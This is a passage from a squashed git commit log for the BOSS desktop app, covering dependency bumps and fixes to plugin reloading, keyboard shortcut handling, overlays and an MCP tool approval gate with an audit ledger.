dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-protobuf dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-stub dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-services dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-util dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump protobuf from 4.36.0 to 4.36.1 (#364) Bumps `protobuf` from 4.36.0 to 4.36.1. Updates `com.google.protobuf:protobuf-kotlin` from 4.36.0 to 4.36.1 Updates `com.google.protobuf:protobuf-java` from 4.36.0 to 4.36.1 - [Release notes](https://github.com/protocolbuffers/protobuf/releases) - [Commits](https://github.com/protocolbuffers/protobuf/commits) --- updated-dependencies: - dependency-name: com.google.protobuf:protobuf-kotlin dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: com.google.protobuf:protobuf-java dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * fix(plugins): defer stale jar cleanup until restart (#340) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Require cleanup intent and retain artifacts with unordered manifest versions --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): defer fluck-browser hot-reload to a restart (#352) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): defer fluck-browser hot-reload to a restart Hot-reloading fluck-browser force-unloads the classloader that created its JxBrowser native views. Every open tab - and every tab opened afterward, since the factory that would recreate the view is gone too - draws an empty box, and a second hot-reload does not recover it; only a full restart does. HotReloadPolicy names plugins that must never be swapped in place, matching the existing NOT_USER_INSTALLABLE/RetiredPlugins pattern. It's checked at every path that can force-unload a live plugin to apply an update: the resetPluginInstances/doReloadPlugin path that actually reproduced this bug, the menu-driven Reload action, the Toolbox update flow, and the store installer. For a not-hot-reloadable plugin, the new jar is staged into installed.json without touching the running instance or its open tabs, and a status message tells the user to restart to apply it - the next cold start loads the update with a fresh classloader. Also fixes two call sites that asked "restart dependent plugins?" before checking whether an unload was even going to happen, which produced a confusing prompt for an unload that a deferred update was never going to do. * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Validate deferred browser artifacts and reject ineffective downgrades * Require cleanup intent and retain artifacts with unordered manifest versions * Preserve unloaded-browser recovery and unify safe deferred selection * Format scoped update cleanup integration --------- Co-authored-by: ayush Co-authored-by: Shivang * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) (#365) * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) reapDepth (AtomicInteger) replaces the boolean reaping flag, so the two JVM shutdown hooks (main.kt and KernelBootstrap) cannot clear the in-progress signal while the other is still reaping (item 2). reapChildren now unregisters reaped handles from the process-wide ProcessRegistry, so stale dead entries do not persist across an in-process mode switch (item 4). OutOfProcessPluginSpawnerImpl.spawn() stands down when isReaping(), so a plugin load racing host exit cannot register a child after the reap snapshot (item 3). Covered by ReapChildrenTest. * Serialize plugin spawn registration with reaping and preserve replacement handles * Fence late process creation without blocking shutdown and cover recovery --------- Co-authored-by: Shivang * fix(plugins): complete loader cleanup after disposal linkage errors (#302) * fix: API hot swap during startup * fix: workflows * resolved comments by maintainer * fix CI and build * Scope disposal error resilience and cover loader cleanup after linkage failure --------- Co-authored-by: Shivang * Fix shortcut rebinding key storage (#329) (#335) * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Store a folded key name on capture, and repair the keymaps that hold a keyCode Completes #329, on top of the one-line capture fix in #335. which is the right shape and stops new rebinds being dead. Its own description records the rest as future work: the keymaps already on disk still hold numeric keys, and nothing tests it. This is that rest. **Fold the name before storing it.** The raw rendering is not the presets' vocabulary and it is not stable. The left arrow renders "Left" against the presets' "DirectionLeft", the right bracket "Close Bracket" against "CloseBracket", the 1 key "1" against "One" - all of which MATCH through the alias table, none of which DISPLAY the same, because `formatKeyDisplay` knows "directionleft" and not "left". Stored raw, a rebound arrow lists as "⌘LEFT" beside a preset's "⌘←". And `Key.toString()` falls through to AWT's `getKeyText`, which answers with a word while the toolkit is cold and the macOS glyph once it is up, so the same user rebinding Tab gets "Tab" or the glyph depending on nothing they did. `storedKeyName` folds through `canonicalKeyName` first, which makes a rebind indistinguishable from a preset binding: same match, same signature, same rendering, and deterministic. **Existing keymaps are handled twice, deliberately.** `canonicalKeyName` resolves a stored keyCode so an unmigrated file keeps matching, AND the settings migration rewrites it so the file stops holding a ten-digit key. Either alone is not enough: the migration cleans one file, and a keymap restored from a backup, copied off another machine, or exported and re-imported reaches the matchers before it reaches the migration. **The repair runs before `migrateSettings`' chord arithmetic**, which is what lets #322's drop-on-conflict guard see a UI rebind at all. While those signed as a numeric key, `chordHolders` produced a signature no preset chord could equal, so a keymap whose owner had rebound an action through the UI read as not claiming that chord and the guard handed a new action straight onto it. #322's own motivating example is "someone who rebound panel.navigate_right", which is a UI rebind: the guard was protecting hand-edited files and not the ones made in the app. Two smaller things: - The dialog's preview was rendering the raw keyCode too. It had a private copy of the display formatter, and now renders the exact `KeyStroke` that Apply persists, so the preview cannot disagree with what is saved. - `KeyBinding.fromComposeKey` had the same `key.keyCode.toString()` line. It has no caller today, which is exactly why it would have outlived the fix. Answering the question the issue leaves open: yes, the Shortcuts screen's own tester reports these, so it reproduces without a build change. `ShortcutTestRunner.validateKeyName` reaches its "Unknown key name" branch and the row goes red. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Co-Authored-By: Claude Opus 5 * Preserve MoveHome and MoveEnd aliases from PR #405 Extract the additional Home/End property-name aliases and assertions from #405. Maintainer integration retains home/end as canonical spellings for the existing vocabulary. * Keep unrecognised legacy key codes intact during repair * Exercise warm toolkit key names and correct rendering comments * Keep shortcut capture consumers consistent and reject modifier-only captures * Keep import regression setup readable * Order warm-toolkit test imports per repository style * Recognise unknown-key diagnostics independently of their localized prefix * Wrap modifier key lists for quality gates * Share the dispatcher modifier and lock-key exclusions with capture * Use public shortcut equality in the formatted menu regression test * Preserve malformed native codes instead of storing invalid Unicode * Cover the new dev chrome-density shortcut in capture round trips --------- Co-authored-by: Arjun Singla Co-authored-by: Claude Opus 5 Co-authored-by: Antriksh1984 Co-authored-by: Shivang * fix: make sidecar backfill lifecycle reliable (#347) * fix: make sidecar backfill lifecycle reliable * test(plugins): format sidecar backfill tests * fix(plugins): keep backfill persistence on IO and cover lifecycle transitions * fix(plugins): retry interrupted auth backfill and dispatch the full drain on IO * style(plugins): format sidecar coordinator declarations * style(plugins): keep unsigned predicate within line limit * style(plugins): wrap unsigned predicate expression * style(plugins): name the current stamp in unsigned predicate --------- Co-authored-by: ayush Co-authored-by: Shivang * fix: await SupabaseConfig initialization before syncing plugin manifest (#366) * fix: await SupabaseConfig initialization before syncing plugin manifest * style: fix ktlint import order for java.io.File * fix(plugin): wait for SupabaseConfig before starting the manifest sync SystemPluginManifestService.startSync() ran its startup fetch and Realtime subscription before SupabaseConfig finished its own async initialize() call in the Compose UI layer, so both routines' first attempt hit SupabaseConfig.client's "not initialized" throw: a startup warning for the fetch, and an unnecessary first trip through the subscription's backoff retry loop before it ever connects (#370). SupabaseConfig.isInitialized already exists as a StateFlow for exactly this. Both of startSync's launched coroutines now suspend on it once, before touching the client, replacing a guaranteed-to-fail-once startup path with a wait for the real precondition. The existing "catch up on (re)connect" comment in subscribeToChanges - added because this same race could also just lose - stays accurate; this closes the race rather than only compensating for it afterward. Test exercises the actual mechanism: a coroutine awaiting SupabaseConfig.isInitialized genuinely suspends (verified via TestCoroutineScheduler.runCurrent(), not a coroutine that was merely scheduled and never run) until initialize() is called, then resolves. * Isolate manifest readiness regressions from stored auth sessions * Test manifest readiness without singleton side effects --------- Co-authored-by: Antriksh1984 Co-authored-by: Shivang * Fix heavyweight modals dismissing destructively on focus loss (#152) (#353) * Fix heavyweight modals dismissing destructively on focus loss (#152) Extending LocalHeavyweightOverlays to the whole BossWindow content routed several dialogs through HeavyweightModal, which dismisses whenever focus leaves the application (oppositeWindow == null). Two dialogs dismiss to a destructive action, so this was a regression: - MemoryPressureNoticeDialog dismisses to acknowledge(), clearing the once-per-session notice and its restart offer unread on an alt-tab away. - ScreenCapturePickerDialog dismisses to cancel the capture request, so switching to the window you want to share silently killed the share. Add an internal LocalDismissModalOnFocusLoss CompositionLocal (default true) that the two dialogs set to false, honoured in shouldDismissOnFocusLoss. This suppresses only the focus-loss path - Escape and the scrim still dismiss deliberately. Kept host-side rather than as a BossDialog/modalRenderer parameter because those signatures are pinned by the binary-compatibility validator and would need a coordinated api-then-host release; both callers are host dialogs in composeApp. Covered by HeavyweightOverlayTest. * fix(overlays): address dismissal review and pin destructive dialog wiring * style(overlays): order dialog property import * style(overlays): wrap dismissal wiring assertion * style(overlays): import the regression fixture root helper --------- Co-authored-by: Shivang * Fix toast overlay clipping content at its first-frame size (#154) (#354) * Fix toast overlay clipping content at its first-frame size (#154) HeavyweightCorner measured its content against a ceiling of min(initialSize, region), so the toast overlay's 432x600 initialSize doubled as a hard clip. Three verbose toasts can exceed 600dp, and because the overlay window is content-sized the overflow is not cosmetic: the bottom toast's dismiss button lands outside the window, unclickable, on the INDEFINITE path where dismissing is the only way out, so the toast is genuinely stuck. measuredAgainst already decoupled measurement from the window's current size, so the two uses of the initial size no longer need to be one number. Size the ceiling to the parent region instead (regionCeiling), leaving initialSize as only the small first-frame placeholder. Content now grows the window up to what the parent can actually show rather than being clipped. Other callers are unaffected: intrinsically-sized content measures the same, it just stops being capped below the parent. Covered by HeavyweightCornerTest; HeavyweightCornerSizingTest's ratchet guarantees are unchanged. * test(overlays): measure content beyond the initial toast window height * docs(overlays): update all first-frame sizing contracts --------- Co-authored-by: Shivang * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) (#367) * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) Equality guards on BossPopup's measuredWidthPx/anchorPositionPx make onGloballyPositioned/layout writes no-ops in the steady state instead of a redundant compose-measure-layout pass per frame during a window drag. AnchorBounds popups that never measure report once via BossOverlayHost.reportUnmeasuredAnchor() after a grace period. The modal card declares semantics { dialog() } and swallows clicks with detectTapGestures instead of clickable, so a screen reader announces a dialog rather than a button; the scrim dismiss also moves to detectTapGestures so IsDialog is not merged under a clickable ancestor (which crashed the modal). BossAlertCard drops the header spacer for a buttons-only card (alertHeaderSpacerVisible); AlertWidth renamed ALERT_WIDTH. Covered by BossAlertCardSpacerTest, ScrimmedModalSemanticsTest, and the existing ModalInputArmingTest/BossAlertCardLayoutTest. * fix(overlays): refresh scrim dismissal callback after recomposition * fix(overlays): remove redundant measurement reads and cover card taps --------- Co-authored-by: Shivang * fix(plugin-ui-core): guard write-once overlay registry fields (#369) * fix(plugin-ui-core): stop redundant popup recomposition and guard write-once overlay registry fields Two non-blocking follow-ups from the HARDWARE dialog sweep (#143). BossDialog wrote measuredWidthPx and anchorPositionPx unconditionally from layout {} / onGloballyPositioned, and both are read during composition - so an unchanged value still invalidated composition from inside layout on every pass, costing a redundant composition-measure- layout cycle per frame for every open BossPopup during e.g. a window- resize drag. Both writes are now equality-guarded, a no-op once the value stops moving. BossOverlayHost.{useHeavyweightOverlays,modalRenderer,popupRenderer, diagnostics} are public mutable statics the KDoc calls host-owned and write-once, on a singleton shared across the host and every in-process plugin - but nothing enforced it, so one plugin line could reinstate the occluded-dialog bug this file exists to fix. Each now locks to its first write (via a custom setter, so the JVM descriptor - and so binary compatibility with the boss-plugin-api mirror - is unchanged) and reports a duplicate write through diagnostics instead of silently accepting it. openHeavyweightPopups is deliberately left alone: its own KDoc documents it as a running counter across a popup's lifetime, not a one-time registration, and a write-once guard would freeze it at whatever the first popup left it. Co-Authored-By: Claude Sonnet 5 * test(overlays): isolate write-once registry fixtures and remove duplicate popup edits * fix(overlays): register diagnostics first and verify both startup modes --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(plugin-api-core): guard against host/api divergence in duplicated packages (#368) * fix(plugin-api-core): guard against host/api divergence in duplicated packages ai.rever.boss.plugin.{logging,bookmark,workspace,browser,scrollbar,ui, tab.terminal} each exist twice: once in the host modules, once inside boss-plugin-api, what plugins actually compile against. The host's copy shadows the api's parent-first inside plugin classloaders, so a plugin whose bytecode references a member the api has and the host lacks fails to link at runtime rather than at compile time - already the cause of two incidents (secret-manager 1.2.6/1.2.7, unloadable on every host with only "ComponentLogger.$stable: field not found" as a clue). LoggingStableFieldTest, BookmarkStableFieldTest and WorkspaceStableFieldTest each pin the one field that has actually bitten us. Nothing pinned the general case: an added method or a changed signature in either copy breaks a plugin the same way and would be diagnosed from scratch. ApiPackageDivergenceTest diffs the host's copies against the pinned release jar plugin-api-core's own build already downloads (fetchApiPluginJar), for every public, non-synthetic member of the seven packages actually duplicated (verified against the real jar's contents, not guessed from the issue's approximate count) - not ai.rever.boss.plugin.api itself, which is filtered from that same jar so it cannot diverge from itself, and not ai.rever.boss.plugin.bundled, which is api-only. Co-Authored-By: Claude Sonnet 5 * fix(plugin-api): cover callable ABI and preserve PanelConfig linkage * fix(tests): compile legacy serialization bridge and satisfy lint * test(plugin-api): address review and verify loader isolation --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(gate): surface remedy success and handle in-flight update states (#378) * fix(gate): handle updateHost success and in-flight download states * style(gate): resolve detekt LongMethod and ReturnCount violations - Extracted PluginLoadGateHeader to reduce PluginLoadGateBody length under 60 lines. - Refactored updateHost to use a single return expression, eliminating multiple exit points and fixing line length limits. * fix(gate): complete header extraction and validate update remedy state * fix(gate): retain rollback and report installation progress accurately * fix(gate): explain the install step after downloading BOSS * style(gate): apply ktlint and wrap detekt overlong lines --------- Co-authored-by: Shivang * Make MCP search rows open Toolbox for kill-switches (#380) (#382) * Make MCP search rows open Toolbox for kill-switches (#380) Agent-less operators could find mcp__boss__* tools in double-shift search but selecting a row did nothing. Wire selection to reveal Toolbox (plugin-manager) and document the minimum attach / kill-switch path. * fix(search): validate MCP navigation and clarify Toolbox hint * fix(search): report unavailable Toolbox for MCP selections --------- Co-authored-by: Shivang * # Governed Autonomy for MCP tools: approval gate and audit ledger (#371) * feat(mcp): implement Governed Autonomy with Operation Ledger and ASK mode approval gate - Add McpPolicy and McpPolicyEngine with fail-closed configuration and session trust - Add McpApprovalBus and McpApprovalDialog for non-blocking interactive tool approval - Add McpOperationLedger with size-based file rotation (10 MB x 5) and sensitive argument masking via LogSanitizer - Integrate policy checks, coroutine approval gate, and ledger journaling into McpToolRegistryCore.invoke - Add UI wiring in BossAppState, BossAppEventBusEffects, BossAppDialogs, and BossBottomBar - Add comprehensive unit tests covering policy, approval, ledger rotation, and registry invoke integration * fix(mcp): address review findings across approval gate, policy engine, and ledger * fix(mcp): avoid length-based over-redaction of tool arguments McpOperationLedger and McpApprovalDialog sanitized arguments through LogSanitizer.sanitizeMap, which masks any string value 20+ characters long regardless of content. That defeated the stated goal of keeping long file paths, URLs, and shell commands readable in the audit log and, worse, in the approval dialog an operator relies on to decide whether to approve a mutating call. McpArgumentSanitizer replaces that path for both call sites: a value is now only masked when its key names it as sensitive, or its shape is unambiguously a credential (JWT, GitHub token, sk_/pk_ vendor key). Adds a test proving shape-based masking still catches a credential under a non-sensitive key name, and renames the existing redaction test to match. Also reorders two imports in BossAppDialogs.kt that were out of alphabetical order and would fail ktlintCheck. Co-Authored-By: Claude Sonnet 5 * fix(mcp): repair governed dispatch and cancellation audit guarantees * fix(mcp): address governed autonomy review defects --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * Stop the Shortcuts tester reporting working shortcuts as broken (#375) (#376) * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Stop the Shortcuts tester reporting working shortcuts as broken `ShortcutTestRunner.validateKeyName` kept its own hand-written set of valid key names - the fourth copy of the key vocabulary in the codebase, and the only one nothing tested. It had drifted, and step 4 of the tester turned that drift into a hard FAILED. Fifteen keys the interceptor dispatches were reported as "Unknown key name 'X' - won't match user input" on a shortcut that fires: - every function key, F1 through F12 - Home, End, PageUp, PageDown - the character spellings the fold has always accepted ("-", "=", "/" and the rest), which were reported with the confident and wrong advice "Key name should be 'Minus' not '-'" - the spellings Compose renders, both cold ("Back Slash", "Quote", "Page Up") and the macOS glyphs a running app produces The list is replaced by `isKnownKeyName`, which folds through `canonicalKeyName` against `KNOWN_KEY_NAMES` in the model - one vocabulary, beside the fold that already reconciles the other three. The verdict also softens to a note. "Will this key match" is not knowable from the name alone: `canonicalKeyName` folds an unknown name onto itself, and the keyboard has keys outside the interceptor's table (F13 and up, the keypad) that AWT still names. So an unrecognised name now says it is unrecognised alongside the result, and the test does not fail on it. Reporting a working shortcut as broken is worse than saying nothing, and that is the failure this PR is about. `ShortcutTesterKeyNamesTest` pins the vocabulary in both directions: every key the interceptor names is recognised, and nothing is claimed as known that no key produces. The second half is what stops the set being padded into passing the first. Every shipped preset binding is covered, and a name nothing can produce is still called out, so removing the false failures did not remove the check. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - restoring the two omissions the old list had (the function keys, and Home/End/PageUp/PageDown) fails the test and names all sixteen. Co-Authored-By: Claude Opus 5 * review: keep a real verdict for a key stored as a raw key code Self-review of the change above found that softening step 4 to a note went one case too far. A key stored as a packed `Key.keyCode` is the one thing that IS decidable from the name alone, and it is decidably broken: no matcher compares against a number, so the binding fires on neither path. That is what every rebind made in the Shortcuts screen wrote before #329, which makes it the population most likely to be on this screen in the first place - and they would have been shown a green row with a parenthetical note. It keeps FAILED, with advice that holds either way: a keymap carrying a raw key code is worth re-recording whether or not the fold currently resolves it. Also drops a guarantee two comments claimed and the tests do not give. The test drives the interceptor's table through a hand-written list of key codes, so a key added to that table alone is checked by nothing. Reading the `when` itself would need reflection over a private table; saying so is better than asserting an invariant that is not enforced. Co-Authored-By: Claude Opus 5 * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names e… * fix(shortcuts): trigger key bindings on key release instead of key press (#492) * fix(shortcuts): trigger key bindings on key release instead of key press * fix(shortcuts): invoke a bound action on key-up, not key-down (#490) A shortcut's action ran from the KEY_PRESSED event, so holding a chord past the OS auto-repeat threshold fired it repeatedly (Cmd+N held down kept creating tabs), and the action always ran while the keys were still physically held. AWTKeyboardInterceptor.install() now recognizes a matching chord on KEY_PRESSED - claiming it (so it still doesn't leak to BossTerm/a browser while held) - but only arms it as a PendingShortcut. The bound action fires exactly once, from handleKeyReleased, when the primary key's own KEY_RELEASED arrives; a repeat KEY_PRESSED for the same key stays claimed without re-arming or re-firing. Releasing a modifier by itself can never match, since a modifier key is never allowed to arm in the first place. Focus moving to another window (or away entirely) clears any armed-but-unfired chord via a focusedWindow property listener, and uninstall() clears it too. dispatchAction gained a `perform` flag (default true, so every existing call site is unchanged) so handleKeyPressed can ask "would this dispatch" - reusing the exact same gate each action already had (canStepTabs, activePanelTabCount, panelCountState, ClosedTabHistory) - without performing the trigger, and handleKeyReleased later asks for real. This is one function answering both questions rather than two that could drift, at the cost of a narrow, documented race if the gate's answer changes in the few hundred ms between press and release. PluginShortcutRegistryImpl.dispatch has no such probe, so a matched plugin default arms optimistically and is confirmed for real at release. KeyboardShortcutInterceptor.kt (a second matcher against the same KeymapMatcher, not wired to any production caller today) gets the same arm-on-KeyDown/emit-on-matching-KeyUp treatment for consistency. New tests drive handleKeyPressed/handleKeyReleased directly with synthetic AWT KeyEvents (the same way the existing gate tests drive dispatchAction/dispatchIfCanStepTabs directly), covering: a key-up fires exactly once, a mismatched or modifier release does nothing, a repeat key-down neither re-arms nor re-fires, a gate closing between press and release is honored at release, and cancelling drops an armed chord. * fix: wokflows * fix(shortcuts): validate pending chord lifetime and release ownership * fix(shortcuts): fix MRU wedge, stale-arm swallow, and dropped-chord bugs (#490) Addresses the three substantive findings from review: - MRU tab cycling wedged open when the modifier released before the primary key. Arming (tabCycleActive/tabCycleModifierKeyCode) had moved to handleKeyReleased, where the cycling modifier is no longer guaranteed still down - the OS can deliver the two key-ups in either order, and releasing the modifier first meant arming for a release that had already happened. Extracted armTabCycleIfApplicable and call it from handleKeyPressed instead, where the modifier is guaranteed held (it's what made the chord match). - A lost KEY_RELEASED (swallowed by a native popup, a heavyweight surface, or an OS-level chord grab, with focus never moving so nothing else cleared it) left a stale armed entry that the repeat- claim check matched on keycode alone - so a later, unrelated bare press of the same physical key was silently swallowed, and its key-up fired the shortcut for a keystroke that was never meant to be one. PendingShortcut now records the arming event's four modifier flags, and the repeat-claim check requires them to still match; a mismatch falls through to normal re-matching instead, which also makes a stale entry self-heal on the next genuine press of that chord rather than staying stuck until focus changes. - Rolling one chord into another without fully releasing the first (Cmd+N into Cmd+T at speed) evicted it from the single pending slot, so its eventual release found nothing to fire and leaked to the focused component with no matching key-down to explain it. pendingShortcut is now pendingShortcuts, keyed by physical keycode, so concurrently-held chords on different keys get independent slots. Also: a release that matched and cleared an armed chord is now always consumed, regardless of whether the underlying dispatch reports handled - the key-down was already withheld from the focused component, so letting the key-up through alone on a refused gate or a plugin that unregistered mid-chord left a listener a key-up with no matching key-down to make sense of. tabCycleActive/tabCycleModifierKeyCode are now internal (from private) so a test can pin the arm-at-press behavior directly. KeyboardShortcutInterceptor.kt (still unwired to any production caller) gets the same stale-arm protection via onFocusChanged, for the "consistent key-up semantics" criterion the next person wiring it up will actually see. New/updated tests: armTabCycleIfApplicable's MRU-gating in isolation (arms for TAB_NEXT/TAB_PREVIOUS under MRU, does nothing otherwise or for an unrelated action), a structural proof that handleKeyReleased no longer arms the cycle itself, a stale-arm-with-different-modifiers regression, a two-independent-chords regression, and the gate-race test updated to assert consumption instead of the old handled-based return. 16/16 ShortcutKeyUpInvocationTest, all touched suites green. * fix(shortcuts): finish reviewed cancellation and headless regressions * refactor(shortcuts): resolve CI complexity findings * test(crash): tolerate transient Windows report read locks * test(crash): wait for drain marker deletion on Windows --------- Co-authored-by: Antriksh Co-authored-by: Shivang * fix(db): stop materializing inherited client routine access * fix(logging): mask a URL whose fragment comes before its query (#541) Preserve masked URLs when a fragment precedes the query. Original implementation and four regression tests by @arjun28115. Reviewed current-head Claude feedback and passing CI; existing adjacent nested-query behavior remains a documented follow-up. * test(config): isolate Chromium flags test from local environment variables (#507) * test(config): isolate Chromium flags test from local environment variables (cherry picked from commit c6bce0ded1a4157b84cb724577f89ff9a0cd3cc9) * test(config): pin the env-wins and blank-UNSET rules the envReader seam unlocks Addresses the Claude review of #507: - move the envReader seam declaration up beside settingsFile so the KDoc reattaches to envOverride and the seam is initialised before bootSettings = loadSync() (object initialiser declaration order); - previewValue test now exercises the environment outranking the setting and the blank-reads-as-UNSET guard, both untestable before the seam existed; - reword two comments that the seam made stale. * test(config): close out the second Claude review of #507 Addresses the re-review of 6bcd83c73 (comment text only, plus one hermeticity line in a test): - the init-order comment read inverted - it called an initialiser below the envReader declaration the hazard, when the hazard is an initialiser ABOVE it (which is exactly what the old layout had, with bootSettings declared above the seam); reworded; - 'envOverride reads the environment only' now stubs envReader to null for its own assertions, so it is hermetic by construction rather than by the BOSS_TEST_UNUSED_KEY naming convention. --------- Co-authored-by: Shivang * fix(search): route cross-window tab selections to target window (#500) * fix(search): route cross-window tab selections to target window * refactor(search): focus target window via WindowFocusManager, wire TabEventBus to kernel IPC * fix(search): honor closed target window, forward origin window in TabEventBus Addresses the Claude review of the cross-window tab selection change: - TabEventBus.selectTab now takes sourceWindowId (the dialog's own window) and forwards it as the IpcEventBridge envelope source, matching the origin contract the other twelve buses and EventBusServiceImpl rely on. - TabSelectEvent is @Serializable so kernel-mode forwarding emits structured JSON instead of the toString() fallback with a WARN. - onTabSelect honors WindowFocusManager.focusWindow's Boolean result: a closed target window now logs a warning instead of emitting into the void (the bus has no replay). - The 50 